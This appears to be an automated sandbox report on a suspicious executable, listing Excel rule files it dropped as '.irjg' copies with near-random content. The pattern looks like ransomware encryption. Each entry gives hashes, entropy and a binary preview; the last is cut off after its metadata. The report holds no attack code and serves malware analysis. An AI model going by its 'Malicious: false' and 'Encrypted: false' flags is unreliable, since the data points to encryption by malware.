C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.783964220980028
Encrypted:	false
SSDEEP:	24:2JoRLSmaUONmE+jFe1s4fZe7XCAr8trAk9pbD:2JoROmaUONm8yy7A6JD
MD5:	F77C8977D826D368D1F2A23890763EBC
SHA1:	ADA5CB3762D7972659ACB46C6CB57FF205AEB87D
SHA-256:	55E15D3C1280A0181FC51CA14E7D4CA90495E3886F4414EEA87629104B0B680B
SHA-512:	0C93ADE6A51B5DC6BD39D739CE6C89E6CEF3E2595F61F92897BE283FBDA65FCB74F62CCEE9C9C844AC359C12C355E69EE5DF51596E7C0634F03485957F63FAC3
Malicious:	false
Preview:	<?xml.zY.c......1A......_H.x@..4.9....i......j.6.W....F&$....6r.xhv.}.`.:..,N..R...p...H......xU..v.J........r..x...9.9$.<W.% >.!.B...6.s.-....V..(....C-.....[.....'%..A[._...d...t%.......@.r.r..c.....<...!)...Y..r.0g..R.m..b.h%!....`...ixG..=.........'.f[.C.q7S......T.3.KVN..[iK5...Z\..y.~A....p.b&..........TuH(.Rk(...K.nj....R4iF......T.6.L..=y.4,/=.:5.c~pI.....I...&...2.J..t$p!.t.0.....\..,PF.fnf..\|..#.N.........q.NuO..'z.+..K^.P>}.S?.R{'...u.'.@........V;.=.....C4.....GUC.J=..\..../Y:.Q..\|.......iI...:.YGE....W..1.......):b...\|.+.........._/..O.WO.P...._-........w2.H6..D.>.........i.2$.>.@..R.V..W.9.sCB........6...J.x .31:.6......7(......<.L......,.$...j.....weX.b..P.q.....gl(..8.%..0..h..m.....j.......p.d[6...Af#..Y..l.s..o.....H...f....0..+....8]...;.+.Sw..x.o..#r...y=.u.Q.E.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.704255577719209
Encrypted:	false
SSDEEP:	12:jIM6L7xMRzQAeZhreCSFRUSuLFHnMvnRUeIlhWv3O7ObbEU6smTtw9M2cii9a:jI5M1QAeZQCOVuZHMvnRolhUqS6HTtwX
MD5:	6634DA9C45022238AF1FA8095EE82CD3
SHA1:	AB2A2FC428C9CEB0AF5F1FB8561F8D0877628E98
SHA-256:	079CA93EF2CDFFC4110D65BCDD9D331F4790D19904CC16F8F8A9814FFC82C5E3
SHA-512:	EDDCBBBB355FED8C95BE4AE4D4B264130E0949431EDB10EBFF48CDDF23DDE2DBCC25ED701A9B9D7D7206F818D1FAA24D94830A1ABAE045FCF69504C2416A752F
Malicious:	false
Preview:	<?xml.....h..n2..m...v.6B.4.~..b=..[.....-!...?.[....r.=p..v...H.g.1R.Z+W........s^..!...e/.I......z1._.`.I.1......cr..g.Z......O........#.\|..Y....x.....Xi.9....}.wh...J..F.Q..\c.....y.R...^.3.d._.9_...51.r.gD.>...H.7....k....w.qoJ`02...V..aO....I....4...nY.rV.../N.ND..).....K.D.:1.X....'..a....b-...T6.bY.K..R......5.a...\.z#j,.:P..+.z.Q ....s.)sLO15. .....I[..U..U.0Gr:..\|.Qy."..Z(...h`..?..4...)(?...U...g...6.p."l......P.bA^..!.O.i........~....._.];`..i-..k.H..;.,(P..f.^..J"....2U..LM@...)...=..+c.;V.'...n.y..k%y/.We....X.Q....tC...,W+).G.]l.....x.9.W=.e.._.4-....=K!.....^..H...I......J..<k....iU.+......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.7823545208362095
Encrypted:	false
SSDEEP:	12:ZsrruRUYx/iAzoHQzaFtR52hl5NMa+2wFvTPzQEc1vZzxNOFvw0Z9M2cii9a:yIzSR52hl5NMUqvfKZzZA9pbD
MD5:	9470B128F2E139D6C5C1462752961BFA
SHA1:	E749DFE41C2DDE62A6B27F0E1F5DD879EBAB512E
SHA-256:	412687A6B2B8ABF33B1679519F04500464F76EF369DF74C2EC56417DCAA46D96
SHA-512:	611D0EE9A2164840E530BB43FAEA5AA229E601905F4D58A52EEE13694B5B2ABABA7B591B207EA8891AC5CCCB4EEB9422F288C01FAE9CD0ADE09BF4032292B311
Malicious:	false
Preview:	<?xml...L..Js.y......~....h".....+ZL.....=...(.4..>\|,2..hl..)#k.ap.b.b..g...ik....)..X.Qd...a9..'.Q.0.f.@.p.OL...T1..}\.8v...A6$.JkM.1IuA..N\|.].V..V.\|......b.....s...J?L..O.bX...:..=....T.$..z...[1....K..X.....C...MM.....Rf22=. ..@..u`....G.G..n.6....$)...2.[G...b..\|.l.u.,W.,.l..L1.AV:.`.B.#...uWQJ......u.cP.P..tb..A.........u.p.<...Vt....+a..T.g.bY..p'.....$7...Y@Ea..=(.;2s..`......Ti..j.g89v...~......hr.......m.^<........]c..{.L.%.f.@O(.x....S.:..7.......b.....aej....H,.g4....eD.o....a.....ND...t........O..]U(...X.~.....$.Q#p5)..{.._...N..T6.S...Q.9.n.q.._9.%..W.=CM...^..2\|..o.W.k.0........E.......d[Ek.<.k..O../.8........[.....7....5.:...bb^1ya.....d.KP..4R......:.zv..j.........1bTIn.+^>......Ivt.._D..4.{n:~.......Jm-8?w.g@.Fn=..\.m...(Z.zE........W...rp.......Y.X8.S...@.`...g....#.pWk#.~...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.832385843821113
Encrypted:	false
SSDEEP:	24:QXmz9fzUpGUTyoCbtUBLhtJzPGodIXvZZFzNsJG46pYPQ9pbD:QsfziTCbtSJzPG2I/Z5sR4JD
MD5:	6FAF035C4F43E2488C724C83510B3FE8
SHA1:	82F57C6AFEAABD64F8F52F6926512F43B3B0F0D5
SHA-256:	9DD29FB7BC200C4FADB666053D31A424B698DB178ADA1D5F41B72D9425584113
SHA-512:	EE9EC74BD17364F8DA7463FA1A360553B03C55F5156B15AD247B27F0C21E89310E641CDB0F8343D15191016407D4DB10C0CF9A3648C336754AFF1356B0B7858E
Malicious:	false
Preview:	<?xml-E.....^.....R.(......`.F...`..>(...7e....7!#..{.;.....l....@D............_y..\.3..._...A.........;.g{.....B..h....o.n.N.E.....K......wsb..ONs.ON...;.l,.m.%..v..Cw.d.~..9Lq....}..."n.#.N...E.T\.]W"+<...&C.'.4t}CK....E..9.....6...R...~....j...z=.hU.......;%..(9.%q..j...a.....m.0\|..t.d.7uE.y....0ZI0+..+..R-...}.(2-.p.&..h.].#D4..'...K.}..].R.s5@........ii..`.&..."o.[...W.F..3.gW.......O&..$@Ucis`....K...tu...^N;#.bL=.....[..W...K.v=Fl._..4m.Jq.UAj........kH...,%%......}9}....._..A..S.8..65.2..C-..Ks..K............&.].40..m.....w]j.:F..I.i[.1s..~.Y.H.[....3..#'.."N.>..\|..$l.c..R..+...`.8...hi.A.Ni............m.c..S..gH!F....~.......s.(...L...&.m..7)..U4..d..v.......1]...y!v...E..lf}MB.~...hX..\|.............(...m.....bv`r.3 .X....D..g..6...M.5...8.j,.R....V..W....r...Q#...K........y...1..h..#..n.....xRE.{ ...$b}.b...[.. e.<.w.........wu!)$.p-.c0.>@.^.j..c...y...}&j.%G^.o.v..B`M..._2..H.......dl........F..;.h...t.o.j&.+.a88.@B.q.p.w:\|C..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.779415448849284
Encrypted:	false
SSDEEP:	24:4Rf67elguZGYgrzE4oboIBI28vVlAvtN8eC6tpGmc+9pbD:if62GfzE1oICBrAkEJD
MD5:	0A8F589FD8D6C21D88A2FE216894BAF0
SHA1:	95374FB068C9A966ADC38805C85917B66113155F
SHA-256:	4C2F2D15A5A0089404FFE314C527596E882751BD0F437F60922A976E7408D95B
SHA-512:	F160EE37E10A4ABD811DCF9F4DBC9EC45FDB59905819AB58D49AA1BCC91909A665BEF64EC33C7CFA5C8A9A395A50571B175C061EF316299EFE11DD177C598B2A
Malicious:	false
Preview:	<?xml.t...z..3.p.../2......K.\}....?..=....v.....u9\..^.b.Y..\=L..1.....w~f....<.8...1U...+O<..vc.>.C...V3`.\|G.......B...uzGt.7..=.Q...W..\..w.jO.2+.{Yt.%jc..h......6.+.-.l&..d.6.....'&k.l.X....c.\.\.........(...XI.A.R!.1.i.y............>..a..K.5.2..$}....F.$.......A....7.B.Lb.$....O_.U...74.:..O@...j....,-q.$...'..g..L..8...m&f$..?gP2....?qqA]F....2.H.Xbu.M....T.,..........(.g.H.)X..CP[.T.f.7u.s.[.hz(DLr.J.G.U.#.w.g..].....M.....Fx.y.9.6.Q.qn.......1..BG..=7.+.s2f.,.t.....%..V<l.q..0y...L\2..w+...+..=_..W.2"....`...7Z.W........Px.t.@...H...%n.g[..DX...vm.....<.F.EP.Wx......J).#..q.GE6..b`....J..I..9n.ln.S...t.t..H.$.,..c.q...,K.K...g.L.fG.I&MV....h..i.:_.TR..............$m...e......z.......hM..E6.L.\.R.^T........2..*...s...M._....T.....)h.z\..fg3Zf...}O.....uXv;.. ....q.....k....%...Wex.1.-.G....#J."c.b.Q.Y.........~.(...s.b..u.Z...&...._../\|!&........LT.eI.g.~.....z...zg..G#...hY`.Wx xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.761830845205985
Encrypted:	false
SSDEEP:	24:oAEVtr5rEWgEOGTRBOckRt5KpmFTZ9pbD:KVtrLgEOGDOeUFXJD
MD5:	4344AC3003F3DFFAB99F4905FEA83ED3
SHA1:	F86B3F4560DD8363D04E2DCADC01D89BC6EFE62B
SHA-256:	18E4A708874A9051A25D2375C033E72697CD7A64CBF6F836729E82188F58E11C
SHA-512:	26CC47CB3DFD1F198C54395F80E5C813F6BEF3211254DC594159818847D8DB386417B3EDF45C0BE41855E002E8F1C0075CA042B2626FC1E534941ED063A9E1DB
Malicious:	false
Preview:	<?xml.a.cb.....u.o..!.wiQ..\..Lc.....dJ=.k.-..Z.m.Y.Lv......?.~PT......rr.J.\...C....rz..z.4...F.>.~M;..v1.3UkW...j..G....E._..../....x.\;9.^}..$.?..^..8..+W2.b[.Q....y....IPq.h/...$..(.n..:.3G3... ....:..b'.8pK.......s#.....JB..3....Q.+Q?..x.I..H.......K.;....>...K.C.h...j6..~@.:;u..M....M.......(.d[..pj...P.+.2....5DO.:.h..4..;.....(...)..:...V...;.....j..].U....w.5.K.X.Ib..V..........Fo..V!..p...L.b.]ah54.(.n.9$.\.9G........\|,.j...n.f.\>TRd..L..{.....U...]...D.sePL&..{k.B...........(.Y.}....C.....^.}ek.].......Z.j.....cqJ...7..T:.....B..y.Ho.\|z.p..b....'A)..v......7-c......`A....D%]..-k.6.R..3.*.$o?.+G.d.LS.m...d,F.XY.8Gb.&.Qd.H.S..SD..}..@$../.T.=o.\.....K<..Q...c.p...S .... ]..d.FC....Y.&4.)..!5.R...Z ,`.m..,..mNp.K...c..;-.U\..i..hF9\|.j"..Q.../....G..Yh.......3P.E`.2........O.!.a....P.m.:]X]....5k..F...,.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.748445718115597
Encrypted:	false
SSDEEP:	24:YJiASeFr8DpgENdnVb14ehXr63v+hm9pbD:V29ENdRXrHSJD
MD5:	4A2A722113A7313F1FDEDC6E956D44E3
SHA1:	6A57418D4849FC592EB3D9A250DE7F72D289B32F
SHA-256:	38FF54FE7048BC18C1EBE7CBB27B0BAEA7BFAA740474D7D6E0A3CA99A4DC68BA
SHA-512:	8175A090D902D9EF036B5A19510CFF30FED79B58082C7D8DDF096B774E5D6994FA4690841EE245E525E114AE99A7A0DC75D0E67ED7217D82DBA0428D38D553C6
Malicious:	false
Preview:	<?xml{.....D..z....N....y.._.P..<.Z.Fdz.]n,9....`.!..W.....q.{L..a..nG...`l,].'9j.e.8.%Lu...\|...D......;....dQ..W.~.......xN...l...-.Tn"n.Nk^..0G-.B:..@....H..Y..II...g..%...L..L.....P0_i.......?...#4.EB..L....R...e...A.c...+...A#...[z...l...7p.9.......)...Q!$.!R4_M......?u....25........U.l3.....c.+...!.......s(v..U.t....M...}[..R........e..c...r..E..#{X.R....;y...Y...w20'...^[WM6u>...g.Y...+.9.)......}.._..v.$@.w.M4=5..ue..9.g.....\($~...l...Ok.x.~#f!8......UI.!.8..)Hz.7?.......P...HwT....r.fq.l^>J...c.....z.\..A.~..c.j...m...`.< ...Nw.... \...^.. ...q...$......+.9.>V....-.n..O.......b.i0j...Sc..-."j6K...}..;..Y..hv....y...F.j@.n.^3...e9....^v..3Z~..........R.s.6.@...A.</.j.......$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.823877767370908
Encrypted:	false
SSDEEP:	24:JIKiQrRGphta4mJ9jXZQD1LjY1zwhfr7Y2mT5YdP9pbD:sna4mn6xRr7R/lJD
MD5:	610D3EC4043A00CE4AC48EE51D527629
SHA1:	C44DCB00AA360761537CBEDA522DC681CBE86745
SHA-256:	4B4D143DE001BA32D9B7897364A5377A9F5FB86BC378884CAF6D6F3E1247729E
SHA-512:	17B4EB72EE5E68AA7A9872785736D3C38303A0F2710BDEFB9F96B12402E634955637B1216E4E99FC54D5C8FA4235974F3E449D309C779A9818188910E36307A9
Malicious:	false
Preview:	<?xml.C.3b.....?..&0y...mv........3......hk.pW...q.Qi..y..;..hU0./xs.$2O..eL\|.z..(....G..?....8..v.S.]......W.m..\.<.V..<X.,...o^......t.....+\|.W.z{.a.T..&.9.r(D4._......#......K..x.d3..,.tC<.Et...>Q..T.h.........I...!.t.=G....5...x{.H...[S......?C~.:).[O(G_Sb&.^k.d..U{.=...\;.q..o...Ad.v.=..2.s.<}..v..F....8...>.J..b./G~....... ....!.....g......=[....JP..C.Z."&.Q@/{.q.S.l.as.(r....?.Q.`/!./.=........./>9..N/.z.@r.I..........]>....-..I.......1....Tx.....".F..'......L.:...i<..Y...r_.......=.s..\|.....N.........L....3.1...Xn!nqW..3.,.U..).:=mw..?.}.....v......`..K..5}...n.4.9....^..E.\|H..1{..aSB@.>....+.x.i.u..../2..b.&..F...;r..'o...G..$.o...Gcg..~.....,.%.vW_z..i.'QV.>.g.FAP.A1E.I...B0...^....^%j[....-........Eo'.?.....dh.g.)a.qS..J.g2. ....D...I....)...`...0.r...;.=...@..*.C3..=.]...:1t$.....%.3S%(....}....e.[E...a{.!9.........:.nZ.VB..V.._.F.\..z.O.P-...1o.....b....F.[94......)..........^3$.OPg.4K..A......jr.^.........9..C.yo.t.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.752356227177625
Encrypted:	false
SSDEEP:	24:RPgJqX/ewEvnaBHOIJXqUyv0T+r0nT1qLG8hAXuW9Vs9pbD:RPg6ewanaBHvXyGnxOvAXuW9EJD
MD5:	9C34360E5A6FC121EE51AE40E71FAC78
SHA1:	3E3CC72156E7EA7C3C83248ECA2E4A9FA7243476
SHA-256:	B260802458EE384B02B9829AB952409C9983338F3619DB0ED8341C3534F2C131
SHA-512:	36D7E4DC626A91298E57C0C7C6BBAA5C672040A9A6ADB964F90694E857E9F5D3F87AD96B212990F7C9BF84C550B5C5C90AE16F7AAF554063D8580C52C29BFE25
Malicious:	false
Preview:	<?xml)..o.C8x...L....X...`..[Ri.S1.a.....4..\.Rt..G..E6\|..EWA.C.......kEC}3....a..7.6........O.j.7....V..,.}.IL...S.8.;......64..<X.......j...D.T.....(.!...c-.I.....E....x.L[%...t..z..1..g...x.......i..hb....T..\|.q.c^'q...Fh:B...6......n......,....;.a...$Z..r.N.a.....EIX..a%I.(=(../S...3.....fqM....Ws0.7Q.k.M.......Vv..&../.M...`R...1..."......J.}lv..h...+..`+.F.......{M....L).pT.Jcs....Hh.... .o..Gb`.q ..E.3U..y._~%..dd..lwT......:m(.=...S..~...I;...$..I....83.5......2+.L.m..tDCK5.....a.`{...N......0...a.S...B...HV...j7.. .K...V.'.......Pj.$..Q.=B..7v.\J...a.....].Xr.5..\|..u..f..3.g.0...+t.]..kT....QFv....cp..f.............y`.>*9...vV?...0........W..oB.o/.b>F..S.;x5S/.....Y../Ir..........N.4.n.oOQo...l..#..z...w...r.......)..oY....z+44+..7<.e...S...(.._..NAa4.4....S.l$.kL.....q@X...mxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.65004600410866
Encrypted:	false
SSDEEP:	12:w8QbAaARsM3ORnq0/M4hynJoQfjzRw0sKH/MiIwb4FmU3EL/YDQfY5LAME39M2cq:w8QbJI30nqyMgynTHRwdKH/MEL/ExM9h
MD5:	5151D2D64D17BF7C46BBFA88AF26D655
SHA1:	BEC26BD121A1E18FE66B30300407538BE82C7079
SHA-256:	5B9BF1FE1EAFD4CB9F2C8CC3A736F4E50491CA7C21E2B99FA776DF8FA9CD611B
SHA-512:	B106C64FE9E3E2FF55BDEA241031E96178F2C087EC0E3AAFA25EA90FC13C8C276DAF1A75A2E6E33DDBCE27F26249A58A91E7CCAA0BC58DBC932177125B10EEAB
Malicious:	false
Preview:	<?xml.....yu.^Q..N.....<?Q...p..G..yph..7l....&.....bw..1^.)s.QoZc._....pm.lj...?.q.w....x]n.gQ5:V......+.\...E........[..5T...._4{g...D..b..~K.b.A3nS...._`......C...ZH..>..C@c..A9...n.J.B....bB,.\|..?M.%...#...>=...lq.Hb`.}..1...?.4a....t.h.~j........V......2-......(rA.VW8^&.......H..]Z..Q...Ba..L.BW.v.P.dJ.7E..h...mHH..!..xJ-I..........`...f..7..7...."E?..5Ky_.....c..H.3 .../..j..Oow...C....L..._...}.....2.ctv].....2Yt.\18nk......g5ng.c...V.BP._.>.B..4..L....^2.x..4......WZc..?}....a.m.p.F...z~/......4.Z.C...!@.<./F.....H....$0...]..,..iX....6!/.....$K..q5.......K.Z..\..%Z.^b$.J........./.,....i..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.772363019694721
Encrypted:	false
SSDEEP:	24:uFk0vdbENkw57UrHDN7mQjj8bEFQmNreF/TnHWG9pbD:ujdQf5oHR7mQjwbOTNyxTnHTJD
MD5:	614193F78948363D871604BEA58B01CA
SHA1:	9003072C0BB02E7052E7AE277A6BEE8B252BE059
SHA-256:	882CAEE0F798ADCE8C5DD745574849810B967E7ED3397CD503E45EB1F343085F
SHA-512:	1D4AC7471BFED2FE15B8A5E033D3F39BF6D41CFD23BACED4B9310CD547F5DFEBB4B78EFFE4390118BD79BDDE10B06933E12853EBA4CD3CCC4F72B8C3D39B647D
Malicious:	false
Preview:	<?xml.Z..>...g.........3o..F...&..#I2^.w.O...J...>.....%.+.5...B.R....r....[z.@a..O..n@ .m....o1lg@...dc.L..j...94...ey.x.X.k2.q!.U.....1s......{D.8R.aj_.0\....~>.h.6.LW.6.[Y.h..R. .-..d...N$?b.......\|.......#._.I...I......+...3R.=?{1+"..G2n....rH.4....-........E.\|.]...Y.s..P@.......F..O.>..t>..5.h<1..B.."..N...pL.....N.;....q!..D...eE2.C\|..."J..<...0...@...b..vRSUX...(......s..KU.zS0uV.j}.m.(...)s......1^l./4...f...3.?@jp.}....i.L.&M,..{.PH...[.0.+.....\|..R..C6e...s.......&......E:........7...k.._.....I..[.......RI\.<>d...H.{x...s..S..=.z.._Z......%..Fas......&8....U.BTP1.....O\|.,..OS..9j.p2>..t.=#)..B.x}_r......4...x.1d...NKV..k.[i)qN.I3..l......1..,..l.Bi...K...H.K..h..Z"W...%....q.....&..m.%M...'...^..y@..Egk.!....".8.............w_'....RqD...-].k.~........2H..D.(.m.wk.=-4_D1[....`.-.(.`.Q?..nR.........LxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.751233535749686
Encrypted:	false
SSDEEP:	24:0AunPJVVeFT/wgYHVOWFTtj1jz+b8IipjVEmtHq1gmR+nb/r9pbD:0AAkT/wgEVO8pZj48IQjVEmAupJD
MD5:	4868AC826F0C8D54DB8E100B0BA85D4E
SHA1:	CEBC508A4FAB748C9C4B0A74C3CEB3B19211E9F2
SHA-256:	670987601A23D79D2BE2A4BD8A639D236AEDC83B9F7D61F163A305E9C939AC83
SHA-512:	C57C6D562C730AC8C015EC344AB1B78C3A9A544A8863B5C242CD6EA4DE11880760BF5DDA08440EBB771B7E08B227EE1BA9A6A44C1EAD4831285860F8A8A6B87E
Malicious:	false
Preview:	<?xml.e...2.5b...2.cTt..5,.z....%....'.........by..Q....h....)..tJ......5j! .Z..3........b..%.9i..&..#v.\..i.].R....W?.F....;..o.#..-.....+...An..B.........[.....].%huK.[_..+...~.f.....k)o..!..Z..k.t#.%=.4l.......p.7."...N...u....5].+..Y..xU..Z.."..U.n.........WFF`0....(..-7..8[Xx/.. ..ru+4....0..:..p.m....V+.Li..=.7.5_...Oo....\.....k..{x..V.N.BN...ht\|..;..I...e:....'..`,.=..e..]....K..p..9...k...n].O....c....-Y...R..e..G....>..{(f.CIO....~.PW.....S,[s.4.E.+W.'....0[.A.O5k....+i......4.G0...X]...o...O..%.x.-.s......n...`Gy....dyUL.X......\|.p.....(.rV...i5ur...........N.f...;B.W9.P9J%..!.2..'.7..+].u."!......_y-...6...)...\|.......{"4D....}...,i!I2.... a.....-...$.9...a..h....__.."R....j.g..e.$Y.Y.k$.~6......o6.+.][E.E.T..e..p.d.....R.X.9..)................,..43...-..!/N*0'H.....!.b..!..zFnR..wS..}..OG.N.0V.j.G.s.BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.706745943706732
Encrypted:	false
SSDEEP:	24:oE4DC1Ca9rG31l7g7ScSJipifLVz5t9pbD:UPv3TSS1JioLXnJD
MD5:	5F83A666B9D4C8066C540B6A31FDD238
SHA1:	88639A2059FE17BF9800240339186DB74EA19971
SHA-256:	EE6A35E6A9C84C0ABB4B1B8E25645ECDD050E61BF1F98174B4345FDE8D86520D
SHA-512:	762499520B9AE2C16D1DF8E404E0F0BE5B450D3C1DC9B23904CA3F2BA4D14BAE81F0CBB044CEC98F3F75F4EA8E82F4F8EB9341B6B274600FAD70C4FD06F3EE38
Malicious:	false
Preview:	<?xml....%.....<...R...;...@...;..`e.Y.<.vr.0g[.s!v.......em.WY.?...9\|.,.c...\..9...-.N..yX...D.k.....{.....8/.{.e7....I .Ju......D.....i..GtS7......ei..NT..J.....".{..C^.......X....$...ue..._..&..h../....r.j.:. ....mq:..l..,.....M.....h...0........m..Mq3%u.c.Ob<....S.!.. Pn....^w.i.U#.2..o.....y.T[05.K......d....J5.g.."j.Rj.\...`......_.\.7..1.cM4..LBM..O;.c....S.>....:B....j2......se.su;...j./...iM....aO.0..X..l._.5M...j`3M.!.l.j..39..-.$...h...S..A.:.....\|.n#..../0 sS.^....e.......:.>(....6..a.vc".Y.h.y.CM..".Fd.%q.}...8\|{..^..-;...)...QXE1m..6...\|1...C.B>7......4:.r.c.Yf.....i..S..=>..#..-..>..d..K.......\|.........XC\. ..#C..by$.R....J%=9d.K..4......._.A...>...[.'......0...~....C...,...8....Ry.f.X....s..N........<...N....s.GXr.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.728686481572876
Encrypted:	false
SSDEEP:	24:9GbTlTbJLqUAqU6/14FoVDjBGbVMm1C9pbD:45bJLUlmLVDjBSVMm1EJD
MD5:	F77F668809ECBB8317ED6EDB778585AE
SHA1:	D345043FED615F9BCCA2D6F3BD9F66E968647456
SHA-256:	D0BD2284C42BF67987455ECAA05B8506A8BF43D8B913EA0B99D89CADFAE56538
SHA-512:	64D7A1152C12D5E647105CB170639F6DCEF27180BB2FE5186A40DC31B3CB45370D218702E18A6E27CA75914835DD6AB4F0D695B5A18D93C2FF13F34A6BCC46C1
Malicious:	false
Preview:	<?xml./.8).>T5.~...6Sx...a....`.J>!.='F.jgS5...;o.Z.9n.w.ad.o.f/.t&.V.#.:B........6....l....qGR...G.!<...W.^..X.\|G....{.\....ju..x.8S...........j.!n<.._...V:..G7....e...i#MaL.+u..:./....Gr/H..6.:6..@y.,...H1....... A.3.;..o.@...Q....l.u_>.0./(..V....E.d...K.u..T.n.....p.A..3+...9.......89h.U6...p...rYXE<U..2f.m....:>.u....!$.?....&.'j^N]R^.#:..g....q.+.T.T.X.Y..4....... p..<..X7l.....f0]y..../.......J...".h._%h...b....SQ..J9.......}...H.0.N...q..\\.gDi..H.{.>.>/..ax......5u.....].&X...............R#(...V.b.\|Z.z.3.T.j...+....,...d..*..W...+Q...t.j...".v.+.../`.Q"aC..`.Z.x.l.{.!0.?1..T..=8......q...i..J.....R...+..$...)ZRw\|.B.Y..I+...w.q.$%N=...1......M...1...h4...5.N..<.UX....x.....zY.....UK^;5ZR...DlB...r^....5]..FV..;.~J..,.00..0...%..H.j..rrw.l... .=m{u!X%;.IO..p\|2..?.f8.f.......)\.2A.f.._..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.7757242590697615
Encrypted:	false
SSDEEP:	24:tY10yEe7arGBQPHeUavgYs8eY2h/No9pbD:Y0yR7arjPHwgYsE2r+JD
MD5:	9D5361D32747E433E8838D11A1EC71AE
SHA1:	709862441932EE67A5F696AA870F1A166F142C00
SHA-256:	09F2AD34B8C27EC2D5AD89839CEF68B1C7ADCDA5CF2E8C64A19E60E8CA9E4757
SHA-512:	145E09EE5182DC491C8FCA4722463A549915FE9534F77E5BAABECE26CD7A8E73242714E60B089CD1645B38DFF8766C7AF874FC0675CEEBF4A9A7689DA43086F7
Malicious:	false
